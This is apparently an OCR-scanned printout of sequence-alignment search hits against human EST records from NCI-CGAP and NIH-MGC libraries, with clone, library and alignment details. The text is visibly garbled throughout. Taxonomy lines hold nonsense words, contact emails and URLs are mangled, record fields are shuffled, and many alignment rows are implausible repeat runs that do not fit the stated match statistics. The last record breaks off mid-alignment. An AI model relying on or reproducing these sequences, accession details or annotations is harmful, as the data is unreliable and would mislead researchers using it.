 /lab_host="DH10B (phage-resistant)"
 /note="Organ: liver; Vector: pOTB7; Site: 1; XhoI; Site: 2; EcoRI; cDNA made by oligo-dt priming. Directionally cloned into EcoRI/XhoI sites using the following 5' adaptor: GGCAAGAG(5). Size-selected >500bp for average insert size 1.8kb. Library constructed by Ling Hong in the laboratory of Gerald M. Rubin (University of California, Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and Superscript II RT (Life Technologies). Note: this is a NIH_MGC library."
 BASE COUNT 137 a 274 c 284 g 193 t
 ORIGIN
 Query Match 47.4%; Score 757.4; DB 14; Length 888;
 Best Local Similarity 94.9%; Pred. No. 2.3e-156;
 Matches 815; Conservative 0; Mismatches 41; Indels 3; Gaps 3;
 Oy 582 CACATGACAGCTATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 641
 Db 30 CCATGAGAGAGGCGAGCATATGATGATGATGATGATGATGATGATGATGATGATGATG 89
 Oy 642 CACGCTTGGGGGCTGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 701
 Db 90 CACGCTTGGGGGCTGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 149
 Oy 702 TGTGACCTAGAGACTATTAAGTATGAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 761
 Db 150 TGTGACCTAGAGACTATTAAGTATGAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 209
 Oy 762 CTTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 821
 Db 210 CTTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 269
 Oy 822 AAGAGTGGCTTCAAGACACCTGCTTCCCGCTTGTGCTGCTGCTGCTGCTGCTGCTGCTG 881
 Db 270 AAGAGTGGCTTCAAGACACCTGCTTCCCGCTTGTGCTGCTGCTGCTGCTGCTGCTGCTG 329
 Oy 882 ACACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 941
 Db 330 ACACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 389
 Oy 942 CTTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1001
 Db 390 CTTCCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 449
 Oy 1002 CATGGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1061
 Db 450 CATGGGCGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 509
 Oy 1062 TGCATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1121
 Db 510 TGCATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 569
 Oy 1122 CCCCCTACTTGGTATATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 1181
 Db 570 CCCCCTACTTGGTATATGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 629
 Oy 1182 TGTGTTTCAGAGGATGGGATGATGATGATGATGATGATGATGATGATGATGATGATG 1241
 Db 630 TGTGTTTCAGAGGATGGGATGATGATGATGATGATGATGATGATGATGATGATGATG 689
 Oy 1242 AAATCTACTTGTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1299
 Db 690 AAATCTACTTGTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 749

OY 1300 CAGATGCCACGCCGAGAGACCCCTTATGA-CCCTGAGGCGGGCGTGGCCCTTACTGCT 1358
 |||||
 |||||
 Db 750 CAGATGCCACGCCGAGAGACCCCTTATGACCCCGCGCGGTGGGCTTAAAGTCT 809
 |||||
 OY 1359 ACTTGGAGAGACCTTCCTCCTTCCCTGAGGCTGCAGGAGCCCTGTCAACAGCTCCTGTGGGG 1418
 |||||
 |||||
 Db 810 ACTTGGAGAGACCTTCTCTCTCTCTCCTTGGGCGTGGAGGCCCTGCACAGCTTCTCCTGTGGGG 869
 |||||
 OY 1419 GTGAGAGAGACTCCTCTGG 1437
 |||||
 Db 870 GGGTGGAAAAACACCCCTCG 888

	RESULT	6				
A1769914/c						
LOCUS	A1769914	c				
DEFINITION			772 bp	mRNA	linear	EST_21-DEC-1998
ACCESSION	A1769914					
VERSION	vJ30d06.xl					
KEYWORDS	smlaller.co	TR:O88886	O88886	SPIRINGSOSINE KINASE.	'	mRNA sequence.
SOURCE	A1769914.1					
ORGANISM	EST.					
	human.					
	Homo sapiens					
	Roverwacht; Metazoa;					
	Chordata; Craniata;					
	Vertebrata; Euteleostomi!					

REFERENCE 1 (bases 1 to 712)
AUTHORS NCI-CGAP <http://www.ncbi.nlm.nih.gov/ncicgap>.
TITLE National Cancer Institute, Cancer Genome Anatomy Project (CGAP).
JOURNAL Tumor Gene Index
COMMENT Unpublished (1997)
Contact: Robert Strausberg, Ph.D.
Email: strausbe@mail.nih.gov

Emmert-Buck, M.D., Ph.D.
CDNA Library Preparation: M. Bento Soares, Ph.D.
DNA Library Arrayed by: Greg Lennon, Ph.D.
DNA Sequencing by: Washington University Genome Sequencing Center
Clone distribution: NCI-CGAP clone distribution information can be
found through the I.M.A.G.E. Consortium/URL at:
www.bio.lml.gov/dbp/image/image.html
Insert length: 1211 Std Error: 0.00
Seq primer: -40bp from Glbco
High quality sequence stop: 467.

FEATURES
source

```

SOURCE
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_1b="NCI-GCAP_k1d12"
/tissue_type="2 pooled tumors (clear cell type)"
/lab_host="DH103"
/notes="Organ: Kidney; Vector: pMT3P-Pac (Pharmacia) with
a modified polylinker; Site_1: Not I; Site_2: Eco RI;
Plasmid DNA from the normalized library NCI-GCAP_k1d5 was
prepared, and ss circles were made in vitro. Following HAVI
purification, this DNA was used as tracer in a subtractive
hybridization reaction. The driver was PCR-amplified cDNA
from a pool of 5,000 clones made from the same library
(cloneids 132912-1325831, 1471368-1472903 and
1492104-1493255). Subtraction by Bento Soares and M.
Fatima Bonaldo."
BASE COUNT      170 a      244 c      213 g      143 t      2 others
ORIGIN

```

Query Match	46.7%	Score 746.6	DB 9	Length 112
Best Local Similarity	97.9%	Pred. No. 5.3e-154		
Matches 755; Conservative	0	Mismatches 16	Indels 0	Gaps 0

D

QY	829	GCTTCAGACACCTGCCTCCCGTTGGTCCAGCAGGCGCCGGTGATGACACACTG	888
Db	772	GTTTCAGACACACNTGCTTCCCCNGGTGGTCCAGCAGGCGCCGGTAGTGCACACTG	713

QY	889	GTGCCACTGAGAGAGCAGGATGCCCTTCTCACTGCGACAGTGTGTGCCGAGCAGAGACTTTGTG	948
Db	712	GTGCCACTGAGAGAGCAGGATGCCCTTCTCACTACAGGTGTGTGCCGAGCAGACTTTGTG	653
QY	949	CTAGTCCCTGGCACTGTGTGCACATCGCACCGGCACATGTAGATCTTGTCTGCACCCATGGGC	1008
Db	652	CTAGTCCCTGGCACTGTGTGCACATCGCACCGGCACATGTAGATCTTGTCTGCACCCATGGGC	593
QY	1009	CGCTGTGCACCTGGCGCTCATGCACTCTGTCTTCTACGTTCGGGGGGGGAGTGTCTGTCCATYG	1068
Db	592	CGCTGTGCACCTGGCGCTCATGCACTCTGTCTTCTACGTTCGGGGGGGGAGTGTCTGTCCATYG	533
QY	1069	CTGCTGGCGCCTTCTCGCGGCATGAGAAAGGGCAGGCATATGAGATGATGCCCTTAC	1128
Db	532	CTGCTGGCGCCTTCTCGCGGCATGAGAAAGGGCAGGCATATGAGATGATGCCCTTAC	473
QY	1129	TTGGTATATGTGCCGTGTGTCGCCCTTCGCTTTGGAGCCCAAGATGGGAAAGTGTGTT	1188
Db	472	TTGGTATATGTGCCGTGTGTCGCCCTTCGCTTTGGAGCCCAAGATGGGAAAGTGTGTT	413
QY	1189	GCAGTGGATGGGGAAATGATGTTAGTGAAGAGCGCGTGCAGGGCCAGGTGCACCCAACTAC	1248
Db	412	GCAGTGGATGGGGAAATGATGTTAGTGAAGAGCGCGTGCAGGGCCAGGTGCACCCAACTAC	353
QY	1249	TTCTGGATGTCAGCGGTTGCGTGGAGACCCCGCCGACGTGGAAAGCCCCAGCAGATGCCA	1308
Db	352	TTCTGGATGTCAGCGGTTGCGTGGAGACCCCGCCGACGTGGAAAGCCCCAGCAGATGCCA	293
QY	1309	CGGCCAGAAAGACCCCTTATGACCCCTGGGGCCGCGCTGTGCTTATGTCTTACTTTCAGGA	1368
Db	292	CGGCCAGAAAGACCCCTTATGACCCCTGGGGCCGCGCTGTGCTTATGTCTTACTTTCAGGA	233
QY	1369	CCCTTCTCTCTTCCTCTAGAGGCTCGACAGGGGCGTGCACAGTCCCTGTGGGGGTGGAGAGA	1428
Db	232	CCCTTCTCTCTTCCTCTAGAGGCTCGACAGGGGCTGTGCACAGTCCCTGTGGGGGTGGAGAGA	173
QY	1429	CTCCTCTGGAGAAAGGTGAGAAAGTGAAGCTATGCTTTGGGGGGACAGGCCAAATAGAA	1488
Db	172	CTCCTCTGGAGAAAGGTGAGAAAGTGAAGCTATGCTTTGGGGGGACAGGCCAAATAGAA	113
QY	1489	GTCCCTGGGTTCAGAGGCCACAGCTGGGCTGGGGCCAGCTGCCTATGTAAAGGCTTCTAGTTG	1548
Db	112	GTCCCTGGGTTCAGAGGCCACAGCTGGGCTGGGGCCAGCTGCCTATGTAAAGGCTTCTAGTTG	53
QY	1549	TTCTGAGACCCCAACCCACAGAAACAATCCAAATTAAGTACATTTCCAA	1599
Db	52	TTTGTGAAACCCCAACCCACAGAAACAATCCAAATTAAGTACATTTCCAA	2

RESULT 7					
BG680521	BG680521	785 bp	mRNA	linear	EST 01-MAY-2001
LOCUS	60262834.F1	NCL_CGAP_Skn4	Homo sapiens	cDNA clone	IMAGE:4753187 5'
DEFINITION	mRNA sequence.				
ACCESSION	BG680521				
VERSION	BG680521.1	GI:13911918			
KEYWORDS	EST.				
SOURCE	human.				
ORGANISM	Homo sapiens				
	[Mammalia: Chordata: Craniata: Vertebrata: Euteleostomi;				

REFERENCE	AUTHORS	TITLE	JOURNAL	COMMENT
1 (bases 1 to 785)	Mammalia: Euterpeia, Filiculae, Carcharias	NIH-MGC http://mgc.nci.nih.gov/ . National Institutes of Health, Mammalian Gene Collection (MGC) Unpublished (1999)		Contact: Robert Strausberg, Ph.D. mailto:robbe-remail.nih.gov

Email: cgap@lerner.mcgill.ca
Tissue Procurement: James Cleaver, M.D.
cDNA Library Preparation: Life Technologies, Inc.
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
DNA Sequencing by: Incyte Genomics, Inc.
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LNL at:

http://image.llnl.gov
Plate: LLAM10612 row: 9 column: 12
High quality sequence stop: 783.
Location/Qualifiers

FEATURES

1. 785

/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:4753187"
/clone_lib="NCI-CCAP_Skn4"
/tissue_type="squamous cell carcinoma"
/lab_host="DH10B (T1 phage-resistant)"
/note="Organ: skin; Vector: pCMV-SPORT6; Site: 1; NotI;
Site 2: SalI; Cloned unidirectionally. Primer: oligo dT.
Average insert size 1.5kb. Library constructed by Life
Technologies. Note: this is a NCI-CCAP library."

BASE COUNT 130 a 231 c 250 g 174 t
ORIGIN

Query Match 44.1%; Score 704.4; DB 12; Length 785;

Best Local Similarity 96.7%; Pred. No. 1e-144;
Matches 762; Conservative 0; Mismatches 21; Indels 5; Gaps 4;

```

OY 545 CTGGCTATGAGCAGTCAACATGAAGACTCTGACCACTGACGCTATTGCTGCC 604
    |||||||
DB 1 CTGGCTATGAGCAGTCAACATGAAGACTCTGACCACTGACGCTATTGCTGCC 60
    |||||||
OY 605 GCCCGGTCTGTACACCATGAACCTGCTCTGTGACACAGGCTTCGGGCTGCTGCT 664
    |||||||
DB 61 GCCCGGTCTGTACACCATGAACCTGCTCTGTGACACAGGCTTCGGGCTGCTGCT 120
    |||||||
OY 665 TCTCTGTGCTACAGCTGCGCTGGGGCTTCATTGTGATGTGACCTAGAGATGATAGT 724
    |||||||
DB 121 TCTCTGTGCTACAGCTGCGCTGGGGCTTCATTGTGATGTGACCTAGAGATGATAGT 180
    |||||||
OY 725 ATCGGCTGTGGGGAGATGCGCTTCACTGTGGGACCTTCTGCGTCTGGCAGCCCTGC 784
    |||||||
DB 181 ATCGGCTGTGGGGAGATGCGCTTCACTGTGGGACCTTCTGCGTCTGGCAGCCCTGC 240
    |||||||
OY 785 GCACCTACCGGGCGCATGTGCTACCTCCTCTGTAGAAAGATGGTTTCAAGAACCTG 844
    |||||||
DB 241 GCACCTACCGGGCGCATGTGCTACCTCCTCTGTAGAAAGATGGTTTCAAGAACCTG 300
    |||||||
OY 845 CTTCGCCCGTGTGTGCTCAGCAGGGCCGGTAGATGACACCTGTGCTGCTGAGAGAGC 904
    |||||||
DB 301 CTTCGCCCGTGTGTGCTCAGCAGGGCCGGTAGATGACACCTGTGCTGCTGAGAGAGC 360
    |||||||
OY 905 AGGTGCTCTTCACTGTGAGGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 964
    |||||||
DB 361 AGGTGCTCTTCACTGTGAGGTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCT 420
    |||||||
OY 965 TGCACTGCACTGGCCAGTGAATGTTGCTGCAACCATGGGCGGCTGTGAGCTGGCG 1024
    |||||||
DB 421 TGCACTGCACTGGCCAGTGAATGTTGCTGCAACCATGGGCGGCTGTGAGCTGGCG 480
    |||||||
OY 1025 TCATGCACTGTCTTACGTGGGGGGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCT 1084
    |||||||
DB 481 TCATGCACTGTCTTACGTGGGGGGGAGTGTCTGCTGCTGCTGCTGCTGCTGCTGCT 540
    |||||||
OY 1085 TGCGCATGAGAGAGGAGCATATGAGATGAATGATGATGATGATGATGATGATGATG 1144
    |||||||
DB 541 TGCGCATGAGAGAGGAGCATATGAGATGAATGATGATGATGATGATGATGATGATG 600
    |||||||
OY 1145 TGCGCATGAGAGGAGCATATGAGATGAATGATGATGATGATGATGATGATGATGATG 1203
    |||||||
DB 601 TGCGCATGAGAGGAGCATATGAGATGAATGATGATGATGATGATGATGATGATGATG 660
    |||||||
OY 1204 TTGATGCTTAAAGAGGCGCTGACAGGCGCAGGTGACACCAAACTACTTGTGATGCTGAC 1263
    |||||||
DB 661 TTGATGCTTAAAGAGGCGCTGACAGGCGCAGGTGACACCAAACTACTTGTGATGCTGAC 718
    |||||||
OY 1264 GGTTCGTGAGAGCCCGCCAGCTGGAAGCCCGCAGAGATGCCACCGCCAGAGAGAGCC 1323
    |||||||
DB 719 GGTTCGTGAGAGCCCGCCAGCTGGAAGCCCGCAGAGATGCCACCG-CAGAGAGAGCC 776
    |||||||

```

OY 1324 TTATGACC 1331
DB 777 TTATGACC 784

RESULT 8
LOCUS BM916526 1100 bp mRNA linear EST 12-MAR-2002
DEFINITION AGENCOURT.6641989 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5482958
5', mRNA sequence.
ACCESSION BM916526
VERSION BM916526.1 GI:19366905
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.

REFERENCE 1 (bases 1 to 1100)
NIH-MGC http://mhc.nci.nih.gov/.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: c9apbs-remail.nih.gov
Tissue Procurement: DCTD/DRP

cDNA Library Preparation: Rubin Laboratory
cDNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at:
http://image.llnl.gov
Plate: L1CM2009 row: n column: 15
High quality sequence stop: 625.

FEATURES
source

1. 1100

/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5482958"
/clone_lib="NIH-MGC_41"
/tissue_type="amelanotic melanoma, cell line"
/lab_host="DH10B (phage-resistant)"
/note="Organ: skin; Vector: pORF7; Site: 1; XhoI; Site 2;
ECORI; cDNA made by oligo-dT priming. Directionally cloned
into EcoRI/XhoI sites using the following 5' adaptor:
GGCAGAG(G). Library constructed by Ling Hong in the
Laboratory of Gerald M. Rubin (University of California,
Berkeley) using ZAP-cDNA synthesis kit (Stratagene) and
Superscript II RT (Life Technologies). Note: this is a
NIH-MGC library."

BASE COUNT 187 a 333 c 348 g 222 t 10 others
ORIGIN

Query Match 43.0%; Score 687.4; DB 14; Length 1100;

Best Local Similarity 87.9%; Pred. No. 5.9e-141;
Matches 830; Conservative 0; Mismatches 93; Indels 21; Gaps 7;

```

OY 317 CCTTACGCTATGCTCACTAGCGCGGAGCAACGCGCGAGCTGTGCGTGGAGG 376
    |||||||
DB 1 CCTTACGCTATGCTCACTAGCGCGGAGCAACGCGCGAGCTGTGCGTGGAGG 60
    |||||||
OY 377 AGCTGGGCGCGTGGAGCCTCTGAGTGCATGTGTGAGAGAGGCGTGTGACAGAGTGG 436
    |||||||
DB 61 AGCTGGGCGCGTGGAGCCTCTGAGTGCATGTGTGAGAGAGGCGTGTGACAGAGTGG 120
    |||||||
OY 437 TGAAGGCGCTATGAGAGGCGGCTGACTGGAGACCGCCATCCAGAGCCCTGTGTAGCC 496
    |||||||
DB 121 TGAAGGCGCTATGAGAGGCGGCTGACTGGAGACCGCCATCCAGAGCCCTGTGTAGCC 180
    |||||||
OY 497 TCACGAGAGGCTGTGAGCAAGCGCTGCGAGAGCTCTCTTAACCATTAATGCTGCTATGAGC 556
    |||||||
DB 181 TCACGAGAGGCTGTGAGCAAGCGCTGCGAGAGCTCTCTTAACCATTAATGCTGCTATGAGC 240
    |||||||
OY 557 AGGTACCAATGAAGACTCTGACCACTGACAGCTATTGCTGTGCGCGCGGTGTGTGT 616
    |||||||

```

```

|||||
Db 241 AGGTCAACATGAAAGACCTCTGACCAACATGCAACCTATGTGTGCGCGGGCTGCTGT
|||
Qy 617 CACCATGAAACCTGCTCTGACACAGGCTTGGGGCTGGCTGTCTCTGTGCTCA 676
|||
Db 301 CACCATGAAACCTGCTCTGACACAGGCTTGGGGCTGGCTGTCTCTGTGCTCA 360
|||
Qy 677 GCGTGGCTGGGGCTTCAATGCTGATGTGACCTAGAGAGTAAAGTATGCGCGCTGG 736
|||
Db 361 GCGTGGCTGGGGCTTCAATGCTGATGTGACCTAGAGAGTAAAGTATGCGCGCTGG 420
|||
Qy 737 GGGAGATGCGCTTACCTGCGGACCTTCTGCTGTGAGCGCTGCGCACCTACCGCG 796
|||
Db 421 GGGAGATGCGCTTACCTGCGGACCTTCTGCTGTGAGCGCTGCGCACCTACCGCG 480
|||
Qy 797 GCGCACTGCTACCTCTGCTGTAGAGAGTGTGTTCAAGACCTGCTTCCCGCTTG 856
|||
Db 481 GCGCACTGCTACCTCTGCTGTAGAGAGTGTGTTCAAGACCTGCTTCCCGCTTG 540
|||
Qy 857 TGGTCCACAGAGGGCGGCTAGATGACACCTGTGCTGACCTGAGAGACAGTCCCTTC 916
|||
Db 541 TGGTCCACAGAGGGCGGCTAGATGACACCTGTGCTGACCTGAGAGACAGTCCCTTC 600
|||
Qy 917 ACTGACAGTGTGCTGCGGACGAGACCTTGTGCTAGTCTGCGACCTGCTGACCTGAC 976
|||
Db 601 ACTGACAGTGTGCTGCGGACGAGACCTTGTGCTAGTCTGCGACCTGCTGACCTGAC 660
|||
Qy 977 TGG--CGAGTGAATGTTTGTGCTGACACCTAGGGC-CGCTGTGACAGTGGCGTATGATC 1033
|||
Db 661 TGGGACAGTGAATGTTTGTGCTGACACCTAGGGC-CGCTGTGACAGTGGCGTATGATC 720
|||
Qy 1034 TGTTCACCTGCGGGCGG-----GATGTCTCGTGCATGCTGCTGCGGCTCTCTCTG 1087
|||
Db 721 TGTTCACCGNNNGNGGAGAGTGTCTCGTGCATGCTGCTGCGGCTCTCTCTG 780
|||
Qy 1088 CCAAT--GGAGAGGAGGACCATATGAG--TATGAATGCCCTTACTTGTATAT--GT 1139
|||
Db 781 NCCTTGAAGAAAGGAGGACCATATGAG--TATGAATGCCCTTACTTGTATAT--GT 840
|||
Qy 1140 GCGGCTGTGCTGCTGCTGCTGAGCCCAAG--ATGGGAAAGTGTGTTGACATG 1195
|||
Db 841 GCGGCTGTGCTGCTGCTGCTGAGCCCAAG--ATGGGAAAGTGTGTTGACATG 900
|||
Qy 1196 ATGGGAAATGATGCTTACGAGAGCGCTGACAGGCGGACAGGTGCAC 1239
|||
Db 901 AATGGGGAATGAAATGATGCTTACGAGAGCGGCGGACAGGCGGCGG 944
|||

```

RESULT 9
AM963415/c 676 bp mRNA linear EST 01-JUN-2000
LOCUS EST3737488 MAGE resequences, MAGE Homo sapiens cDNA, mRNA sequence.
ACCESSION AM963415.1 GI:8153251
VERSION AM963415.1
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
1 (bases 1 to 676)
Hegde, P., Ol, R., Abernathy, K., Dharap, S., Gaspar, R., Gay, C., Holt
I., E., Saeed, A.I., Sharov, V., Lee, N.H., Yeaman, T.J. and
Quackenbush, J.
Assessment of gene expression patterns in a model of colon tumor
metastasis using a 19,200 element cDNA microarray
Unpublished (2000)
Contact: John Quackenbush
The Institute for Genomic Research
9712 Medical Center Dr., Rockville, MD 20850, USA
Tel: 301 838 3528
Fax: 301 838 0208
Email: johndetigr.org
Plate: 187

```

FEATURES                               Seq primer: Reverse.
Source                                  Location/Qualifiers
1..676
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_lib="MAGE resequences, MAGE"
/note="Vector: pBluescriptSM"

BASE COUNT      147 a      220 c      188 g      121 t
ORIGIN
Query Match      40.1%; Score 641.4; DB 10; Length 676;
Best Local Similarity 98.2%; Pred. No. 7.1e-131;
Matches 659; Conservative 0; Mismatches 11; Indels 1; Gaps 1;

Qy 927 GTTCCCGGACGAGACTTGTGCTAG-TCTGACACTGCTGACCTGACCTGACCTG 985
|||
Db 671 GGGGCCCCACAGGACTTGTGCTAGTGTCCGGCATTTGGGGACCTTGCACCTGGCAGTG 612
|||
Qy 986 AGATGTTGCTGACACCATGGGCGGCTGTGACCTGACCTGACCTGACCTGACCTG 1045
|||
Db 611 AGATGTTGCTGACACCATGGGCGGCTGTGACCTGACCTGACCTGACCTGACCTG 552
|||
Qy 1046 GGGGCGGAGTGTCTGCGGACATGCTGCTGCGGCTTCTGACCATGAGAAAGCGAGC 1105
|||
Db 551 GGGGCGGAGTGTCTGCGGACATGCTGCTGCGGCTTCTGACCATGAGAAAGCGAGC 492
|||
Qy 1106 ATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1165
|||
Db 491 ATATGAGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 432
|||
Qy 1166 CCAAGATGAGGAAAGTGTGTTGACGATGAGTGGGAAATGATGATGATGATGATGATG 1225
|||
Db 431 CCAAGATGAGGAAAGTGTGTTGACGATGAGTGGGAAATGATGATGATGATGATGATG 372
|||
Qy 1226 AGGCGCAGGTGACACCAACTACTTCTGATGATGATGATGATGATGATGATGATGATG 1285
|||
Db 371 AGGCGCAGGTGACACCAACTACTTCTGATGATGATGATGATGATGATGATGATGATG 312
|||
Qy 1286 GCTGGAAGCCCAAGACATGACGACGACGACGACGACGACGACGACGACGACGAC 1345
|||
Db 311 GCTGGAAGCCCAAGACATGACGACGACGACGACGACGACGACGACGACGACGAC 252
|||
Qy 1346 TGCTTAGTGTCTACTTGTGAGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1405
|||
Db 251 TGCTTAGTGTCTACTTGTGAGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 192
|||
Qy 1406 AGCTCTGTGGGGGTGAGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1465
|||
Db 191 AGCTCTGTGGGGGTGAGAGACCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 132
|||
Qy 1466 TTGGGGGACAGGACCAAGATGAATGATGATGATGATGATGATGATGATGATGATG 1525
|||
Db 131 TTGGGGGACAGGACCAAGATGAATGATGATGATGATGATGATGATGATGATGATG 72
|||
Qy 1526 CCTATGTAGAGCCCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 1585
|||
Db 71 CCTATGTAGAGCCCTTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT 12
|||
Qy 1586 AGTGACATTC 1596
|||
Db 11 AGTGACATTC 1
|||

```

RESULT 10
BE464487/c 702 bp mRNA linear EST 27-JUN-2000
LOCUS BE464487 h21710.x1 NCI CGAP GC6 Homo sapiens cDNA clone IMAGE:3206290 3'
DEFINITION Similar to TR:088886 088886 SPHINGOSINE KINASE. ; mRNA sequence.
ACCESSION BE464487.1 GI:9510262
VERSION BE464487.1
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens

through R-DC0-CBA, R-DD0-B2R through R-DD0-CAA, R-DD0-CBB-C, and R-DE0-CAB through R-DE0-CAL. The resulting pool represented about 10% of the final driver population. 9) a pool of about 2,000 clones from the pool of normalized libraries, CNO, that makes up the tracer. The corresponding plates are R-CNO-BKX through R-CNO-BLD, R-CNO-BLG, R-CNO-BLP through R-CNO-BLR, R-CNO-BLT, R-CNO-BLM-X, R-CNO-BMB, and R-CNO-BMF through R-CNO-BML. This pool represented 5% of the final driver population. h) a pool of the 28 most abundant clones in the CNO pool corresponding to the following addresses: bkw-a-09-0-UI, bkw-b-09-0-UI, bkw-b-11-0-UI, bkw-b-10-0-UI, bkw-d-01-0-UI, bkw-d-06-0-UI, bkw-g-08-0-UI, bkw-h-12-0-UI, bky-a-05-0-UI, bky-a-06-0-UI, bky-a-11-0-UI, bky-c-06-0-UI, bky-c-08-0-UI, bky-d-10-0-UI, bky-a-01-0-UI, bly-a-02-0-UI, bly-a-04-0-UI, bly-a-07-0-UI, bly-a-12-0-UI, bly-b-12-0-UI, bly-b-02-0-UI, bly-c-11-0-UI, bly-c-95-0-UI, bly-d-08-0-UI, bly-d-02-0-UI, bly-h-04-0-UI, bly-a-05-0-UI, bly-f-08-0-UI. This pool represented 5% of the final driver population. 1) One abundant CNO clone (corresponding to the address bky-a-11-0-UI) was digested with Not I and Eco RI and the resulting insert was gel purified. This purified insert was added directly to the driver so that it represented 5% of the final driver population.

TAG_SEQ=None found"

BASE COUNT 136 a 210 c 178 g 138 t

Query Match 38.5%; Score 615.8; DB 13; Length 662;
Best Local Similarity 98.7%; Pred. No. 3e-125;
Matches 631; Conservative 0; Mismatches 7; Indels 1; Gaps 1;

```
OY 961 CTGTGACACTGGACCTGGCCAGTAGATGTTCTGACCCAGGCGCTGTGCAGCT 1020
    |||  |  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 654 CGGACGAGGGCGACCTGGGACAGTAGATG-TTCTGACCCAGGCGCTGTGCAGCT 596
OY 1021 GGCCTCATGATCTGTTCTACAGTCGGGGGAGAGTGTCTGTCAGATGCTGCGCCTC 1080
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 595 GGCCTCATGATCTGTTCTACAGTCGGGGGAGAGTGTCTGTCAGATGCTGCGCCTC 536
OY 1081 TTCTGGCCATGGAAGAGGCGAGCATATGAGATGATGATGATGATGATGATGATG 1140
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 535 TTCTGGCCATGGAAGAGGCGAGCATATGAGATGATGATGATGATGATGATGATG 476
OY 1141 CCCGTGGTGGCTTCCGCTTGGAGCCCAAGATGGAAGAGTGTGTTGACAGTGAGTGG 1200
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 475 CCCGTGGTGGCTTCCGCTTGGAGCCCAAGATGGAAGAGTGTGTTGACAGTGAGTGG 416
OY 1201 GAATTGATGTTACGAGGCGGTGAGGCGGAGGCGGAGGCGGAGGCGGAGGCGGAG 1260
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 415 GAATTGATGTTACGAGGCGGTGAGGCGGAGGCGGAGGCGGAGGCGGAGGCGGAG 356
OY 1261 AGCGGTGCTGAGAGGCGGCGGAGGCGGAGGCGGAGGCGGAGGCGGAGGCGGAG 1320
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 355 AGCGGTGCTGAGAGGCGGCGGAGGCGGAGGCGGAGGCGGAGGCGGAGGCGGAG 296
OY 1321 CCCTTATGACCCCTGGGCGGCGGCTGTGCTTATGCTTACTTGCAGAGCCCTTCTCT 1380
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
DB 295 CCCTTATGACCCCTGGGCGGCGGCTGTGCTTATGCTTACTTGCAGAGCCCTTCTCT 236
OY 1381 CCCTAGGCGCTGAGGCGGCTGTGACAGCTCTCTGTGGGGGAGGAGAGCTCTTGAGGA 1440
    |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||  |||||
